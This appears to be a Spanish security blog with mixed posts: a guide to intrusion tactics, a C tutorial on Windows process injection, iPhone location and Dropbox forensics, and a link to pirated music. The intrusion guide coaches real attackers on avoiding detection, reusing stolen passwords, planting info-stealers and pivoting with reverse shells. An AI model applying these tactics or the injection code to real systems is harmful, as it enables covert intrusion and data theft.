futuro robot? futuro inerte?

2012-01-24T06:45:00.001-08:00

Buenos dias.En estos dias se ha sentido el cambio que esta dando la web con el cierre de megaupload, dado que era el servidor de archivos mas grande y con mejor servicio la competencia esta cerrando sus servicios.Muchos especulamos que volveremos a la era del torrent y el p2p otras aseguran que sera cuestion de nuevos servicios, la idea no es la pirateria sino compartir archivos.Actualmente el grupo anonymous ha tenido gran acojida por su manera de ver la revolucion digital y estar en contra del sistema, logrando el cierre de megaupload se a popularizado a manera mundial por tal motivo iremos dando noticias importantes de sus acciones NO a manera de apoyo sino en manera de ver que estan logrando para cambiar la red.Voy a empezar de manera rapida comunicando que desde ayer sino estoy mal liberaron las discografias completas de los artistas que han hecho sus trabajos en sony, estos archivos estan en.torrent para su descarga.el link es el siguientehttp://pastehtml.com/view/bllpf04jv.html#jObviamente solo comunico a manera informativa y no en apoyo a la pirateria.Saludos roboticos

Discografia de sony music liberada por anonymous

2012-01-24T06:42:00.001-08:00

PwnieExpress : Pentesting suite para Nokia N900

2011-12-20T08:47:00.000-08:00

Buen Día:

Hace tiempo nacio el proyecto de backtrack para el N900 el cual era pago despues lo liberaron y se podia instalar de manera gratis en nuestro n900.

Lastimosamente era algo inestable y tedioso de instalar asi que muchos usuarios nunca lo probamos tambien porque era necesario tener una tarjeta externa.

Actualmente es posible correr backtrack 5 con vlc pero tambien es inestable recorriendo las noticias de hoy encuentro esta nueva suite que sirve para lo mismo.

Descripcion:

PwnieExpress contiene muchas herramientas para realizar nuestros pentesting entre estas estan: aircrack, metasploit, SET, Ettercap , nmap entre otros.

Al igual que antes esta contiene los drivers para cambiar a modo promiscuo para la inyeccion de paquetes.

Espero poder probarla prontamente y les estare comentando como va la cosa, espero que este soporte sin problemas autopwn :).

Les dejo una imagen que encontre en su pagina oficial.

IR A LA PAGINA OFICIAL

Saludos Roboticos

Referencias:

http://pwnieexpress.com/pwn_phone.html

http://thehackernews.com/2011/11/pwnieexpress-pentesting-suite-for-nokia.html

Retos publicados en WOW

2011-12-20T08:34:00.000-08:00

Buen dìa.

Durante esta semana de poca carga laboral he estado dando vueltas por los diferentes wargames que conosco o en los cuales he participado de los cuales no entraba desde el año pasado.

Una de las sopresas mas grandes que me lleve fue que publicaron los dos retos que envie para el wargame de sinfocol los cuales espero que ustedes lectores los resuelvan :).

La direccion para entrar al wargame (Si depronto no lo conocen) es wow.sinfocol.org de la comunidad http://www.sinfocol.org/ la cual a mi parecer es de las mejores a nivel colombiano.

NOTA:

Si depronto no les carga intenten mas tarde ya que el servidor se satura(En mis tiempos que jugaba no se si aumentarian el trafico)

Saludos Roboticos

Referencias.

http://www.sinfocol.org/
http://wow.sinfocol.org/#/retos

XSS en aplicaciones web Flash (XSF)

2011-06-29T13:07:00.000-07:00

En este paper muestro el procedimiento para reconocer este tipo de vulnerabilidad, como explotarla y como aprovechandonos de crossdomains.xml mal configurados hacer un XSF completo.

Para mí estas vulnerabilidades a pesar de ser viejas las considero 0days porque las encontramos a montones debido al desconocimiento de estos fallos y a la protección a la hora de programar. Vereis que este fallo es muy común y como afecta por ejemplo a webs tan conocidas como Myspace!

El paper es algo largo 14 páginas; espero que sea de vuestro gusto!
Lectura online:
https://docs.google.com/viewer?a=v&pid=explorer&chrome=true&srcid=0B6bv-BUTh0PnZTA5YjY4MzItMjFjZC00YTA4LTgzYjktMDU4N2QyMTI3YWQ3&hl=en
Descarga

Mirror1 Mirror2

Saludos!

-------------------------------------------------------------------------------------------------------

AGRADECIMIENTOS TOTALES A: overflow.

Fuente:
http://0verflow.diosdelared.com/

Estrategias y Tips, intrusión en sistemas informaticos de alta complejidad

2011-06-10T21:48:00.000-07:00

El siguiente es un gran aporte que realizo my friend _84kur10_ para su blog en diosdelared.

----------------------------------------------------------------------------------------------------------------------------------

Intrusion Estrategias y Tips by _84kur10_

Introduccion

Bueno, antes de hablar sobre qué trata este texto, quiero dejar en claro sobre lo que no trata. No es un manual de como explotar alguna inyección SQl, Ni algún tipo de vulnerabilidad remota o local, Nada de eso. Para colocar en practica algo de lo que a continuación se nombra, se necesita un conocimiento previo de metodos, artificios de explotación de vulnerabilidades etc. Partiendo de esto, y de ese conocimiento previo de todo tipo de vulnerabilidades, vamos a colocar ciertos puntos o trucos claves de como aprovechar al maximo cada espacio que nos den.

Reconocimiento del Objetivo.

Todo empieza en el momento en que deseamos colocar a prueba un sistema de información o porque no toda una infraestructura de red, lo primero como todos saben es conocer nuestro objetivo, es decir, necesitamos saber todo acerca de lo que deseamos atacar, no tiene que ser precisamente colocandole a correr un scan de vulnerabilidades como locos, de hecho esta opción no es recomendable. Eres de los que usa Acunetix para probar vulnerabilidades de un sitio, durante un ataque real?, no es aconsejable, debido a que es muy escandaloso, lo primero que van a lograr es alertar al encargadado de la red o del sistema, lo aconsejable es hacerlo manualmente,ojala en horas en que sepamos que el admin del sitio duerme, con calma, mirando todos los puntos de entrada y salida de información. Un Scan de puertos es una buena opción. Aun asi, con estas medidas de prevención no estamos seguros, debemos desde el inicio usar alguna vpn, y bueno no lo hagan desde sus casas. "Si si, es reparanoico, pero es mejor". Y por ultimo, supremamente recomendable, mirar los DNS, es un lugar donde a veces se encuentran cosas muy interesantes.

Ataque Inderecto

Aqui tambien es importante tener en cuenta que para llegar a mi objetivo no necesariamente debe ser un ataque directo, es decir, podemos mirar sus subdominios "en el caso de un sitio web", podemos mirar quienes desarrollaron el sistema, o que fabricante provee algun tipo de software o aplicativo, con el fin de testear otros sistemas, Como asi?, bien pues veran, si pepito se dedica a hacer cajas fuertes super seguras, es probable que pepito antes de llegar a su modelo de caja actual, tuvo que pasar por varias etapas, en las que creo modelos de cajas no tan seguras, si lograramos a partir de una caja no tan segura, encontrar un patro de diseño, podriamos penetrar una de sus cajas fuertes actualies super seguras.

Caso practico que me sucedio, tenia un aplicativo web en su ultima version y usado masivamente sin ningun bug visible, busque versiones previas, encontre algunos bugs, explote, y me di cuenta de un usuario por default, solo fue cuestión de ir al aplicativo en su ultima version y testearle el usuario por default, y efectivamente lo tenia. Si si, no siempre funciona pero hay que considerar todas las posibilidades

Analisis de informacion.

Bueno ya tenemos un listado de información y de versiones de diferentes servicios y aplicaciones de nuestro sistema objetivo, apartir de aquí viene un proceso de investigación, como asi?, bien pues por ejemplo, si tenemos php 4, pues debemos preguntarnos, que cambios existen entre php 4 y el actual?, esos cambios fueron correcciones de seguridad?, si es así, hay que ver de que manera esa versión de php nos va a servir en nuestra intrusión. Asi mismo con los servicios,cms etc. Bueno si es su ultima version, no olviden el punto anterior, y bueno si no hay mas opción, busquemos un 0day en el aplicativo o en el servicio.

Explotando

En este punto, despues de una gran recopilación de versiones, de posibles vulnerabilidades, le probamos algunas vulnerabilidades, obviamente con las medidas de precausion necesarias.

Despues de explotar algunos bugs, nos podemos topar con los siguientes lios:

Tengo un password y no encontre el admin panel o no me funciona el password en el admin panel que tengo que hago?

Buscate todos los pass de la bd que correspondan a usuarios con privilegios "De donde los sacas?, de donde sacaste el pass que tienes", y prueba esos pass en sus mails, busca el cpanel del sitio.

Ese pass que tienes, pruebalo en todos los servicios que puedas, y en todas las partes que puedas, pues probablemente usan el mismo password en otros servicios, ftp, base de datos, cpanel, y otros sistemas.

LLegamos al panel del admin, y no puedo subir archivos que hago?

En este punto, se supone que podemos modificar el contenido del sitio. Asi que es recomendable hacer algo de client inside penetratio testing, es decir, ponte un analizador de navegadores y un stealer de informacion de los visitantes o programate uno, y ponlo por medio del contenido que puedes modificar, y obten las ip, y determina, la información del admin del sitio, verifica que navegador usa, y busca vulnerabilidades de ese navegador, y explota una vulnerabilidad del navegador desde su propio servidor, la idea es aprovechar la confianza que el tiene en su sitio.

Mi objetivo está en de MZ, y estoy en la DMZ, y la infraestructura de red implementa un modelo de seguridad en profundidad, es decir, hay un firewall que divinen de MZ y la DMZ, como llego a mi objetivo?

Para resolver este punto preguntate que hay de comun entre la DMZ y la MZ?, seria que los usuarios de la MZ tienen de pagina de inicio la web que de la que te apodareste?, puedes investigar las versiones de los navegadores de esos usuarios?. Si es asi, prueba explotar vulnerabilidades en sus navegadores, prueba hacer un reverse shell pero al servidor en la DMZ del cual tienes control, porq?, si es un sistema complejo el proxi no dejara sacar la conexión tan facilmente, y no solo el proxy, también las N capas de seguridad que tengan.

Complicandolo un poco mas.

Si el sistema es muy complejo porque usan Certificados Digitales, y no puedes realizar captura de paquetes con sniifers ni nada de eso, no entres en panico, si usan certificados digitales 2048 bits relax, pues ya sabes que estan asegurando el protocolo http, asi que cambiate de capa, explota la capa de aplicación, pueden tener la super seguridad en todas sus capas, pero pocos se preocupan por la seguridad en la capa de aplicación, como asi?, si, un CSRF es un CSRF con o sin HTTPS, el cruce de dominio por falsificación de petición va ligado de las propiedades del nagevador, si el navegador tiene el certificado, el CSRF no deberia tener problema.

Subi una shell pero hay modo seguro que hago?.

Verifica versiones del servidor web y de las tecnologias que soportan, y verifica que tengan las ultimas, si no es así, aprovecha y verifica si existen formas de saltar el modo seguro en esas versiones de tecnologias.

Esta es la idea del texto, si alguien desea agregar algo, me informan, y lo vamos armando. Obviamente dejo claro de quien es cada aporte.

En Construcción...

---------------------------------------------------------------------------------------------------

Esperemos que termine pronto el documento ya que esta muy bueno y solo me queda decirle felicitaciones :D.

Pueden visitar su blog en el siguiente enlace:

http://84kur10.diosdelared.com

Saludos roboticos

La nueva comunidad blackproyect.com

2011-06-06T11:49:00.000-07:00

Buenos dias.

Hoy quiero anunciarles la apertura de la comunidad "blackproyect.com", en la cual participare esperando ser activo.
Se han iniciado varios proyectos muy buenos con lo cual buscamos ser una comunidad unica a su estilo de trabajo, cualquier persona es libre de participar asi que esperamos que se animen a ser parte de ella.

Cualquier duda , propuestas y reclamos seran escuchadas en el foro.

Saludos roboticos

Inyección de código en procesos

2011-06-05T09:18:00.000-07:00

0×01 | Intro
0×02 | API’s
0×03 | Inyectando con DLL
0×04 | Inyectando sin DLL

0×01 | Intro

Voy a explicar mas o menos como inyectar nuestro propio código en otro proceso. Primero inyectaremos una dll, después lo haremos a pelo.

0×02 | API’s

Primero necesitamos conocer algunas APIs de windows:
OpenProcess

```
HANDLE WINAPI OpenProcess(
```
```
__in  DWORD dwDesiredAccess,
```
```
__in  BOOL bInheritHandle,
```
```
__in  DWORD dwProcessId
```
```
);
```

Abre el proceso especificando su PID en dwProcessId, con los privilegios deseados. Retorna un manejador
al proceso, o NULL en caso de error.
VirtualAllocEx:

```
LPVOID WINAPI VirtualAllocEx(
```
```
__in      HANDLE hProcess,
```
```
__in_opt  LPVOID lpAddress,
```
```
__in      SIZE_T dwSize,
```
```
__in      DWORD flAllocationType,
```
```
__in      DWORD flProtect
```
```
);
```

Reserva memoria en el espacio de otro proceso, comenzando en lpAddress (si se le pasa NULL el sistema elige por nosotros), con el tamaño dwSize y con los permisos que le asignemos (usaremos PAGE_EXECUTE_READWRITE).
Devuelve un puntero a esa memoriam o NULL en caso de error.
WriteProcessMemory:

```
BOOL WINAPI WriteProcessMemory(
```
```
__in   HANDLE hProcess,
```
```
__in   LPVOID lpBaseAddress,
```
```
__in   LPCVOID lpBuffer,
```
```
__in   SIZE_T nSize,
```
```
__out  SIZE_T *lpNumberOfBytesWritten
```
```
);
```

Escribe en la memoria dada por lpBaseAddress el contenido apuntado por lpBuffer, hasta nSize bytes. Devuelve FALSE en caso de error.
CreateRemoteThread:

```
HANDLE WINAPI CreateRemoteThread(
```
```
__in   HANDLE hProcess,
```

__in   LPSECURITY_ATTRIBUTES lpThreadAttributes,

```
__in   SIZE_T dwStackSize,
```

__in   LPTHREAD_START_ROUTINE lpStartAddress,

```
__in   LPVOID lpParameter,
```
```
__in   DWORD dwCreationFlags,
```
```
__out  LPDWORD lpThreadId
```
```
);
```

Lanza un hilo en el proceso hProcess (abierto con OpenProcess), estando en ese hilo la funcion apuntada por lpStartAddress con los argumentos apuntados por lpParameter.
También usaremos Tlhelp32.h para obtener el PID de un proceso sabiendo su nombre.

HANDLE processList=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

```
PROCESSENTRY32 pInfo;
```
```
BOOL st=TRUE;
```
```
pInfo.dwSize=sizeof(PROCESSENTRY32);
```

Process32First(processList, &amp;pInfo);

```
int myPid=0;
```
```
do
```
```
{
```

if(strcmp(pInfo.szExeFile, "test.exe")==0)

```
{
```
```
myPid=pInfo.th32ProcessID;
```
```
break;
```
```
}
```
```
Process32Next(lista, &amp;pInfo);
```
```
}
```
```
while(st!=FALSE);
```

Ver MSDN para mas info.

0×03 | Inyectando con DLL

Primero necesitamos una DLL que inyectar, la cual al ser programada por nosotros hará lo que queramos.

```
#include ;
```
```
#include ;
```
```
BOOL APIENTRY DllMain (HINSTANCE hInst,
```
```
DWORD reason,
```
```
LPVOID reserved)
```
```
{
```
```
switch (reason)
```
```
{
```
```
case DLL_PROCESS_ATTACH:
```
```
MessageBoxA(NULL, "Hi!", "Hey!", 0);
```
```
break;
```
```
}
```
```
return TRUE;
```
```
}
```

Ahora tenemos que hacer al proceso cargar esa DLL. Para ello:

Abrimos el proceso, reservamos memoria en él, y escribimos en esa memoria la ruta de la DLL.

Obtener la dirección de LoadLibrary con GetProcAddress. LoadLibrary se encuentra en kernel32.dll, y su dirección es compartida, por lo que podemos cargarla desde el inyector y usarla desde el inyectado.

Lanzar un hilo en el proceso abierto, dando como punto de entrada la dirección de LoadLibrary y como argumento la dirección del nombre de la DLL previamente escrito.

Todo junto queda así:

```
#include ;
```
```
#include ;
```
```
#include ;
```
```
 
```
```
void error(char *err);
```
```
 
```
```
HANDLE myProc=NULL;
```
```
 
```
```
int main(int argc, char *argv[])
```
```
{
```
```
 
```

HANDLE processList=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

```
PROCESSENTRY32 pInfo;
```
```
BOOL st=TRUE;
```
```
pInfo.dwSize=sizeof(PROCESSENTRY32);
```

Process32First(processList, &amp;pInfo);

```
int myPid=0;
```
```
do
```
```
{
```

if(strcmp(pInfo.szExeFile, "test.exe")==0)

```
{
```
```
myPid=pInfo.th32ProcessID;
```
```
break;
```
```
}
```
```
Process32Next(processList, &amp;pInfo);
```
```
}
```
```
while(st!=FALSE);
```
```
 
```
```
// Abrir el proceso
```

printf("[+] Opening process %i\n", myPid);

myProc=OpenProcess(PROCESS_ALL_ACCESS, FALSE, myPid);

if(myProc==NULL) error("[-] Error abriendo proceso.\n");

```
else printf("[+] Proceso abierto.\n");
```
```
 
```

// Reservar memoria para el argumento (ruta de la DLL)

```
char thData[]="dll.dll";
```

LPVOID dirToArg=VirtualAllocEx(myProc, NULL, strlen(thData), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);

if(dirToArg==NULL) error("[-] Error reservando memoria para argumento.\n");

else printf("[+] Memoria reservada para argumento (%i bytes).\n", strlen(thData));

// Escribir la ruta de la DLL en la memoria reservada

```
SIZE_T written=0;
```

if(WriteProcessMemory(myProc, dirToArg, (LPVOID)&amp;thData, strlen(thData), &amp;written)==0) error("[-] Error escribiendo memoria.\n");

else printf("[+] Memoria escrita (arg %i bytes).\n", written);

```
 
```
```
// Lanzar un hilo con LoadLibrary
```

HANDLE rThread=CreateRemoteThread(myProc, NULL, 0, (LPTHREAD_START_ROUTINE)GetProcAddress(LoadLibrary("Kernel32.dll"), "LoadLibraryA"), dirToArg, 0, NULL);

if(rThread==NULL) error("[-] Error creando el hilo.\n");

```
else printf("[+] Hilo creado.\n");
```
```
 
```
```
CloseHandle(myProc);
```
```
}
```
```
 
```
```
void error(char *err)
```
```
{
```
```
if(myProc!=NULL) CloseHandle(myProc);
```
```
printf("%s", err);
```
```
exit(0);
```
```
}
```

0×04 | Inyectando sin DLL

Aquí la cosa se complica. Las diferencias entre un método y otro son:

Ahora no podemos utilizar cadenas de texto directamente como argumentos a funciones. Ya veremos por qué.

No podemos llamar a ninguna función que no carguemos previamente con LoadLibrary + GetProcAddress. Esas dos están cargadas en todos los ejecutables de Windows desde kernel32, así que podemos usar un puntero a ellas.

Tenemos que escribir todo el código de nuestras funciones en el espacio de memoria del proceso.

Necesitaremos estructuras mas complejas como argumento de nuestros hilos remotos.

Así que el proceso de inyección quedaría así:

Crear una estructura de datos con TODAS las cadenas de texto que vayamos a usar en el código inyectado, y con un puntero a LoadLibrary y GetProcAddress.

Abrir el proceso.

Reservar memoria para la estructura de datos. Escribirla.

Reservar memoria para nuestro código. Escribirlo.

Lanzar el hilo remoto, dando como punto de entrada el puntero a neustro código y como argumento el puntero a nuestra estructura de datos.

Y el código quedaría así:

```
#include 
```
```
#include ;
```
```
#include ;
```
```
 
```
```
void error(char *err);
```

static DWORD WINAPI myFunc(LPVOID data);

```
 
```
```
HANDLE myProc=NULL;
```
```
 
```

// Con esto cargaremos punteros a LoadLibrary y GetProcAddress en nuestra estrucura de datos

typedef int (WINAPI *datLoadLibrary)(LPCTSTR);

typedef int (WINAPI *datGetProcAddress)(HMODULE, LPCSTR);

```
 
```
```
int main(int argc, char *argv[])
```
```
{
```

if(argc<2) error("Uso: hook.exe PROCESO\n");     // Esta es nuestra estructura de argumentos

```
struct {
```

char lnUser32[50];                                 // ->; "User32.dll"

char fnMessageBoxA[50];                       // -> "MessageBoxA"

datLoadLibrary apiLoadLibrary;               // Puntero a LoadLibrary

datGetProcAddress apiGetProcAddress;  // Puntero a GetProcAddress

char Msg[50];                                  // Texto que usaremos en MessageBoxA

```
} thData;
```
```
strcpy(thData.lnUser32, "User32.dll");
```

strcpy(thData.fnMessageBoxA, "MessageBoxA");

```
strcpy(thData.Msg, "Hola!");
```

thData.apiLoadLibrary=GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");

thData.apiGetProcAddress=GetProcAddress(GetModuleHandle("kernel32.dll"), "GetProcAddress");

```
 
```

int funcSize=600; // El tamaño de nuestra función. Podria calcularse de forma exacta, pero como ejemplo

```
// exagerado nos vale .
```
```
 
```

HANDLE processList=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

```
PROCESSENTRY32 pInfo;
```
```
BOOL st=TRUE;
```
```
pInfo.dwSize=sizeof(PROCESSENTRY32);
```

Process32First(processList, &amp;pInfo);

```
int myPid=0;
```
```
do
```
```
{
```
```
if(strcmp(pInfo.szExeFile, argv[1])==0)
```
```
{
```
```
myPid=pInfo.th32ProcessID;
```
```
break;
```
```
}
```
```
Process32Next(processList, &amp;pInfo);
```
```
}
```
```
while(st!=FALSE);
```
```
 
```
```
// Abrir proceso
```

printf("[+] Abriendo proceso %i\n", myPid);

myProc=OpenProcess(PROCESS_ALL_ACCESS, FALSE, myPid);

if(myProc==NULL) error("[-] Error abriendo proceso.\n");

```
else printf("[+] Proceso abierto.\n");
```
```
 
```
```
// Reservar memoria para argumentos
```

LPVOID dirToArg=VirtualAllocEx(myProc, NULL, sizeof(thData), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);

if(dirToArg==NULL) error("[-] Error reservando memoria para arg.\n");

else printf("[+] Memoria reservada para arg (%i bytes).\n", sizeof(thData));

```
// Escribir argumentos
```
```
SIZE_T written=0;
```

if(WriteProcessMemory(myProc, dirToArg, (LPVOID)&amp;thData, sizeof(thData), &amp;written)==0) error("[-] Error escribiendo la estructura de datos.\n");

else printf("[+] Memoria escrita (arg %i bytes).\n", written);

```
 
```
```
// Reservar memoria para la funcion
```

LPVOID dirToWrite=VirtualAllocEx(myProc, NULL, funcSize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);

if(dirToWrite==NULL) error("[-] Error rreservando memoria para codigo.\n");

else printf("[+] Memoria reservada para codigo (%i bytes).\n", funcSize);

// Escribimos el codigo de nuestra funcion

if(WriteProcessMemory(myProc, dirToWrite, (LPVOID)myFunc, funcSize, &amp;written) == 0) error("[-]Error escribiendo memoria.\n");

else printf("[+] Memoria escrita (codigo).\n");

```
 
```
```
// Lanzamos el hilo
```

HANDLE rThread=CreateRemoteThread(myProc, NULL, 0, (LPTHREAD_START_ROUTINE)dirToWrite, dirToArg, 0, NULL);

if(rThread==NULL) error("[-] Error lanzando hilo.\n");

```
else printf("[+] Hilo lanzado.\n");
```
```
CloseHandle(myProc);
```
```
 
```
```
return 0;
```
```
}
```
```
 
```
```
void error(char *err)
```
```
{
```
```
if(myProc!=NULL) CloseHandle(myProc);
```
```
printf("%s", err);
```
```
exit(0);
```
```
}
```
```
 
```
```
static DWORD WINAPI myFunc(LPVOID data)
```
```
{
```

// Cargamos nuestros datos en una estructura como la que hicimos

```
struct {
```
```
char lnUser32[50];
```
```
char fnMessageBoxA[50];
```
```
datLoadLibrary apiLoadLibrary;
```
```
datGetProcAddress apiGetProcAddress;
```
```
char MSG[50];
```
```
} *thData;
```
```
thData=data;
```

// Podemos conseguir cualquier API con estas dos, siempre que tengamos su nombre en la estructura

void *apiDir=(void *)thData->apiGetProcAddress((HANDLE)thData->apiLoadLibrary(thData->lnUser32), thData->fnMessageBoxA);

// Puntero a funcion similar a MessageBoxA

INT WINAPI (*myMessageBox)(HWND, LPCSTR, LPCSTR, UINT);

```
myMessageBox=apiDir;
```

myMessageBox(NULL, thData->MSG, thData->MSG, 0);

```
return;
```
```
}
```

Creo que todo está mas o menos bien explicado. Yo tampoco soy un experto en ésto así que puede que se me haya colado algún gazapo, cualquier cosa avisadme. Bytez.

AGRADECIMIENTOS TOTALES A:

http://blog.ka0labs.org

parseando el fichero consolidated.db

2011-06-04T20:50:00.000-07:00

Hola a tod@s!
Como ya conoces, Iphone, al igual que otros smartphones, guarda información geográfica sobre los puntos en donde ha estado “el móvil”. Entre toda esta información, también se guarda la información de los puntos de acceso WI-FI que se encuentra en “el camino”, incluyendo su MAC.

Imagen 1.- Fichero Consolidated.db

En Seguridad Apple tienen un artículo bastante interesante sobre las aplicaciones existentes en Windows, las cuales extraen esta información y las pintan en Google Maps.
En el curso de Análisis Forense de dispositivos móviles que estamos impartiendo Juan Luis García Rambla y un servidor, y en donde nos estamos peleando con una serie de dispositivos, incluyendo el Iphone, estamos analizando esta información, junto con otras muchas más.
Uno de los puntos que tenemos que tocar, es la creación de herramientas simples que consigan extraer la información necesaria en alguno de los puntos de recogida de información.
Para ello, hemos preparado algunas demos con Python. Una de ellas, es la creación de dos scripts, los cuales extraerán y pintarán en Google Maps la información del fichero Consolidated.db de un Iphone 4.
El script lo único que hace es extraer los campos latitude y longitude de las tablas CellLocation y WifiLocation.

Imagen 2.- Campos WI-FI

Para ello, hemos utilizado un Wrapper llamado PyMaps, el cual pinta el mapa añadiendo las coordenadas extraídas previamente del fichero.
Los scripts no toman ningún parámetro como entrada, y únicamente tendremos que poner en un directorio creado previamente los siguientes ficheros:

el Wrapper PyMaps
Los scripts de extracción
El fichero consolidated.db

Para el script GetCoords.py, una vez lanzado, éste devolverá un fichero HTML. Una vez abierto el fichero, podremos ver algo parecido a esto:

Imagen 3.- Extracción de coordenadas

En el caso del script GetWifi.py, una vez lanzado, éste devolverá un fichero HTML. Una vez abierto el fichero, podremos ver algo parecido a esto:

Imagen 4.- Extracción de coordenadas Wi-Fi

El código de los scripts….

GetCoords.py

01#Horrible Script para extraer las coordenadas del fichero Consolidated.db
02#El fichero se encuentra en el directorio private/var/root/Library/Caches/locationd
03#Horriblemente codeado por Silverhack
04import sys, sqlite3
05from PyMaps import Map, PyMap
06# Creamos un mapa
07NewMap = Map()
08NewMap.zoom = 3
09connection = sqlite3.connect("consolidated.db")
10cursor=connection.cursor()
11cursor.execute("SELECT Latitude,Longitude from CellLocation")
12for row in cursor:
13 print "La latitud es %s, y la longitud es %s" % (str(row[0]),str(row[1]))
14 </p>
15     # Latitud y longitud
16     # Importamos de la BD consolidated a las variables
17     # que posteriormente pasaremos al Script PyMaps
18 
19 latitud= str(row[0])
20 longitud = str(row[1])
21 
22  # Insertamos codigo html
23 pointhtml = "I see you..."
24 
25     # Anyadimos el punto al mapa
26 point = (latitud, longitud, pointhtml)
27 
28 NewMap.setpoint(point)
29 gmap = PyMap(key="clave", maplist=[NewMap])
30 
31 mapcode = gmap.pymapjs()
32showhtml = gmap.showhtml()
33print showhtml
34file = open('Coordenadas.html', 'w')
35file.writelines(showhtml)
36# Cerramos el fichero
37file.close()

GetWifi.py

01#Horrible Script para extraer las coordenadas WIFI junto con su MAC del fichero Consolidated.db
02#El fichero se encuentra en el directorio private/var/root/Library/Caches/locationd
03#Horriblemente codeado por Silverhack
04import sys, sqlite3
05from PyMaps import Map, PyMap
06# Creamos un mapa
07NewMap = Map()
08NewMap.zoom = 3
09connection = sqlite3.connect("consolidated.db")
10cursor=connection.cursor()
11cursor.execute("SELECT MAC, Latitude, Longitude from WifiLocation")
12for row in cursor:
13 print "La MAC es %s, La latitud es %s, y la longitud es %s" % (str(row[0]),str(row[1]),str(row[2]))
14  
15 
16     # Latitud y longitud
17     # Importamos de la BD consolidated a las variables
18     # que posteriormente pasaremos al Script PyMaps
19 
20 latitud= str(row[1])
21 longitud = str(row[2])
22 
23  # Insertamos codigo html
24 pointhtml = str(row[0])
25 
26     # Anyadimos el punto al mapa
27 point = (latitud, longitud, pointhtml)
28 
29 NewMap.setpoint(point)
30 gmap = PyMap(key="clave", maplist=[NewMap])
31 
32 mapcode = gmap.pymapjs()
33showhtml = gmap.showhtml()
34print showhtml
35file = open('WiFi.html', 'w')
36file.writelines(showhtml)
37# Cerramos el fichero
38file.close()

Para la ejecución de los scripts, tan sólo tendremos que utilizar Python 2.6 y pysqlite.
Saludos!

AGRADECIMIENTOS TOTALES A:

http://windowstips.wordpress.com/

Forensics DropBox

2011-06-04T20:49:00.000-07:00

Emulando a la famosa canción que indica el título del post "mi carro me lo robaron, estando de romería!
". Quisiera en esta ocasión hablar de un caso de fuga de información de un empleado que utilizo el servicio de DropBox para subir ficheros propiedad de la empresa y por tanto constituyente de un posible delito de propiedad intelectual y revelación de datos confidenciales.

El caso es el siguiente:

Carlos es una persona dinamica, atrevida, un buen comercial, una persona hecha a sí misma, luchadora, positiva, de voluntad férrea y con un carisma y empatía hacia los clientes casi ilimitados. (¿Conoces a alguien así?, seguro que si). Por supuesto que estas cualidades no aseguran el éxito, pero sí ayudan a conseguir un buen puesto en la pole position y eso fué lo que le paso a Carlos encontro el trabajo de su vida en una empresa con la que competia, pero cometio un pequeño fallo se llevo de la anterior lo que no era suyo.

Este caso ocurre cada vez más a diario en las empresas. Por un lado la falta de legislación interna (procedimientos, normas, gestión de la seguridad) y por otro la falta de controles tecnológicos como seguridad en los puestos y dispositivos: como pendrives, cámaras de fotos y discos externos permiten que los usuarios con cierto acceso a información de la empresa y tras un tiempo consideren que esa información también les pertenece (Craso error!!).

Ya hemos hablado de ello en otras cocasiones y quizas lo más importante de todo es la falta de formación y/o concenciación sobre todo en la parte directiva que todavía o no entiende o no llega a ver la magnitud del problema.

Volviendo al caso, Carlos se despidio en Enero y "casualmente" en Febrero trabaja para la competencia. La Dirección de la empresa ante la sospecha decide realizar un análisis sobre el equipo (portátil) para determinar si ha existido una fuga de información.

Veamos que tiene Carlos.

Hacemos lo habitual, representante de la empresa, representante sindical, apertura de acta, adquisición de disco, huellas, etc, etc..y una vez obtenido se procede a la explotación de los datos.

Tras un análisis superficial nos encontramos en la carpeta de "C:\Users\0200CAR\" una carpeta de nombre "Dropbox". con los siguientes ficheros:

Vamos a análizar que es y como descubrimos una fuga de datos en la máquina de Carlos utilizando el servicio de DropBox.

Dropbox es un servicio de alojamiento de ficheros en la nube. El servicio permite a los usuarios almacenar y sincronizar archivos en línea y entre ordenadores y compartir archivos y carpetas con otros. El producto dispone de versiones gratuitas y de pago.

Actualmente tiene soporte para historial de revisiones, de forma que los archivos borrados de la carpeta de Dropbox pueden ser recuperados desde cualquiera de los ordenadores donde se disponga la misma cuenta. También existe la funcionalidad de conocer la historia de un archivo en el que se esté trabajando, permitiendo que una persona pueda editar y cargar los archivos sin peligro de que se puedan perder las versiones previas.
Si un archivo en una carpeta Dropbox de un usuario es cambiado, Dropbox solo carga las partes del archivo que son cambiadas cuando se sincroniza. Este acción es una de las que sale reflejada en esta actuación.

Los ficheros de la configuración del equipo de Carlos están en formato SQL LITE y por lo tanto y como en ocasiones anteriores es sencillo de poder analizar la estructura de la base de datos y tablas. Para ello me voy a basar en la información de mi buen amigo Derek Newton al cual conocí personalmente en una de estas quedadas de 'Analistas forenses' en Estados Unidos.

Veamos que contiene:

config.db:

Contiene la configuración del cliente e incluye muchos campos de los que destaco los siguientes:

host_id: Es el hash de autenticación utilizado por el cliente para autenticar en Dropbox. Este hash se asigna al realizar la instalación inicial y la autenticación y no cambia si este no es revocado desde la interfaz web de Dropbox.

correo electrónico: Dirección de correo electrónico titular de la cuenta.

dropbox_path: Ruta de acceso

recently_changed3: muestra la ruta / nombre de archivo para los últimos cinco ficheros cambiados recientemente . Este es probablemente el único campo realmente útil en el análisis forense.

root_ns: Hace referencia a la ruta de acceso base Dropbox.

filecache.db:

Contiene una serie de tablas, pero el objetivo principal es describir todos los archivos de forma activa en el cuadro de selección.

file_journal: Incluye el tamaño de archivo, ruta de acceso (en bytes), mtime (fecha de modificación del archivo, en formato POSIX), ctime (hora de creación), local_dir (bandera que indica si la entrada es un directorio ), block_ref: ID de archivo de mapas (fj_id) para presentar los hashes (hash_id) que se encuentran en la tabla block_cache.

block_cache: Identificador del hash (id).
mount_table: Aparece en las carpetas de lista que se comparten con otros usuarios de Dropbox.

host.db:

El fichero se encuentra totalmente vacío.

sigstore.db:

Almacena los valores hash con los que corresponden a los valores que se encuentran en la tabla block_cache en filecache.db.

unlink.db:

Parece ser un archivo binario.

